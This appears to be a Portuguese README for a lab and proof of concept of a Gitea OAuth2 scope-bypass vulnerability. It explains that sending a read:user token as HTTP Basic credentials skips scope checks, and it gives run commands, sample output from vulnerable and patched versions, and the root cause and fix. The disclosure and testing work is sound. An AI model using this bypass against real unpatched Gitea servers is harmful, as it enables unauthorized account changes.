
Lab + writeup para CVE-2026-28699: bypass da imposição de escopo OAuth2 do Gitea via autenticação HTTP Basic
Um token de acesso OAuth2 do Gitea com escopo apenas para read:user pode realizar ações de escrita completas quando enviado como Authorization: Basic base64(<token>:x-oauth-basic) em vez de como um token Bearer. A verificação de escopo é ignorada para qualquer token apresentado via autenticação básica.
Afetado: <= 1.26.1. Corrigido na 1.26.2.
Aviso: GHSA-9r5x-wg6m-x2rc. CWE-863. Gravidade Alta.
Artigo completo: WRITEUP.md
pip install -r requirements.txt # requests
python fetch_binaries.py # pulls vulnerable 1.26.1 + patched 1.26.2 for your OS
python poc.py 1.26.1 # vulnerable: Basic-auth write succeeds (scope bypassed)
python poc.py 1.26.2 # patched: Basic-auth write blocked (403)
poc.py cria uma instância descartável do Gitea no SQLite no diretório temporário do sistema, executa o fluxo de código de autorização OAuth2 para gerar um token exclusivo read:user, depois chama um endpoint de escrita via Bearer e Basic e exibe o veredito. Defina POC_DEBUG=1 para ver as etapas do fluxo de autenticação.
Vulnerável 1.26.1:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 200 (ALLOWED -- scope BYPASSED)
>>> VULNERABLE: read:user token performed a write via Basic auth.
Corrigido 1.26.2:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
>>> PATCHED: scope enforced on both Bearer and Basic.
services/auth/basic.go definia IsApiToken mas não ApiTokenScope para tokens OAuth2. O middleware tokenRequiresScopes retorna cedo quando o escopo está ausente, então nada é verificado. A correção 1.26.2 adiciona o store.GetData()["ApiTokenScope"] = accessTokenScope ausente.
Para educação e testes de segurança autorizados: seu próprio laboratório, máquinas CTF e HTB, alvos de bug bounty no escopo. O PoC executa seu próprio Gitea descartável, portanto, não aponte para nada que você não possua.
| Apresentação de autenticação | IsApiToken | ApiTokenScope | escopo aplicado? |
|---|
| Token OAuth2 via Bearer | true | definido | sim |
| Token OAuth2 via Basic | true | ausente | não (falha aberta) |
| Token de acesso pessoal | true | definido | sim |
| Arquivo | Propósito |
|---|
WRITEUP.md | Análise de causa raiz, impacto, remediação, detecção |
fetch_binaries.py | Baixa os binários 1.26.1 / 1.26.2 para seu SO/arquitetura |
poc.py | Provisiona Gitea, gera um token read:user, testa Bearer vs Basic |
requirements.txt | requests |